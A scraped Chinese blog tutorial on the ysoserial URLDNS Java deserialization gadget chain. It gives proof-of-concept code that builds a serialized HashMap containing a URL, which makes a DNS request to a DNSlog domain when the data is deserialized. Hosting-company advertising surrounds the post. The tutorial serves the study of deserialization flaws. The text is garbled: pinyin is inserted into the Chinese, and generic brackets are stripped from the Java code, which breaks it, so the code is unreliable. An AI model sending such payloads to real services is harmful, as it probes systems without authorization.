聽(tīng)說(shuō)這個(gè)鏈子是最簡(jiǎn)單的鏈子之一了,但是卻是來(lái)來(lái)回回看了好多遍才勉強(qiáng)看明白。
成都創(chuàng)新互聯(lián)公司2013年至今,先為林甸等服務(wù)建站,林甸等地企業(yè),進(jìn)行企業(yè)商務(wù)咨詢服務(wù)。為林甸企業(yè)網(wǎng)站制作PC+手機(jī)+微官網(wǎng)三網(wǎng)同步一站式服務(wù)解決您的所有建站問(wèn)題。在 ysoserial 中我們可以看見(jiàn)鏈子是這樣的:
*Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
簡(jiǎn)單流程:
1.HashMap接收一個(gè)類O(URL類)
2.類O(URL類)的hashCode()后續(xù)的一串鏈子可以發(fā)起DNS請(qǐng)求
3.HashMap的readObject剛好可以調(diào)用O.hashCode();
現(xiàn)在我們來(lái)編寫類來(lái)觀察如何觸發(fā)DNS請(qǐng)求
package packet1;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializeTest{
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMaphashmap = new HashMap();
URL url = new URL("http://25d13c3b.dns.1433.eu.org");
Class extends URL>clazz = url.getClass();
hashmap.put(url, 1);
serialize(hashmap);
}
}
這個(gè)類可以進(jìn)行序列化,按照正常來(lái)說(shuō)序列化的過(guò)程是不會(huì)進(jìn)行DNS請(qǐng)求的,但是我們查看DNSlog平臺(tái):
發(fā)現(xiàn)序列化的時(shí)候就發(fā)起請(qǐng)求了,這樣有幾個(gè)非常不好的地方:
下圖是URL類中的hashCode()方法;
這里只有當(dāng)hashCode不為負(fù)一的時(shí)候才會(huì)走h(yuǎn)andler發(fā)起DNS請(qǐng)求
hashCode在初始化的時(shí)候已經(jīng)被賦值成-1了:
但是我們序列化之后值已經(jīng)被改變成為handler.hashCode了
那么就有一個(gè)疑問(wèn),序列化的時(shí)候是怎么觸發(fā)的?
我們跟進(jìn)put:
發(fā)現(xiàn)會(huì)調(diào)用hash函數(shù)。跟進(jìn)hash:
發(fā)現(xiàn)調(diào)用handler,并且此時(shí)hashCode的值被改變
跟進(jìn)hashcode:
調(diào)用getProtocol(),調(diào)用getHost():
其他更細(xì)節(jié)的我就沒(méi)跟進(jìn),但是我們需要知道調(diào)用URL的hashCode()之后,并且hashCode的值不為-1就會(huì)發(fā)起DNS請(qǐng)求。所以我們可以通過(guò)反射技術(shù)來(lái)改變值,以此來(lái)達(dá)到序列化的時(shí)候不進(jìn)行DNS請(qǐng)求,但是反序列化的時(shí)候會(huì)進(jìn)行DNS請(qǐng)求
所以讓我們來(lái)改進(jìn)代碼:
序列化代碼:
package packet1;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializeTest{
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMaphashmap = new HashMap();
URL url = new URL("http://25d13c3b.dns.1433.eu.org");
Class extends URL>clazz = url.getClass();
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, 1234);
hashmap.put(url, 1);
field.set(url, -1);
serialize(hashmap);
}
}
在put之前我們改變url的hashCode值不為-1,put之后我們把url的hashCode改為-1,之后再對(duì)hashmap進(jìn)行序列化。
反序列化代碼:
package packet1;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnSerializeTest {
public static Object unSerialize(String Filename) throws IOException , ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
unSerialize("ser.bin");
}
}
經(jīng)過(guò)測(cè)試之后,序列化的時(shí)候不會(huì)發(fā)起DNS請(qǐng)求,反序列化之后可以發(fā)起DNS請(qǐng)求.
你是否還在尋找穩(wěn)定的海外服務(wù)器提供商?創(chuàng)新互聯(lián)www.cdcxhl.cn海外機(jī)房具備T級(jí)流量清洗系統(tǒng)配攻擊溯源,準(zhǔn)確流量調(diào)度確保服務(wù)器高可用性,企業(yè)級(jí)服務(wù)器適合批量采購(gòu),新人活動(dòng)首月15元起,快前往官網(wǎng)查看詳情吧
文章名稱:URLDNS鏈-創(chuàng)新互聯(lián)
標(biāo)題鏈接:http://jinyejixie.com/article44/hgphe.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供標(biāo)簽優(yōu)化、移動(dòng)網(wǎng)站建設(shè)、靜態(tài)網(wǎng)站、虛擬主機(jī)、網(wǎng)站收錄、App設(shè)計(jì)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容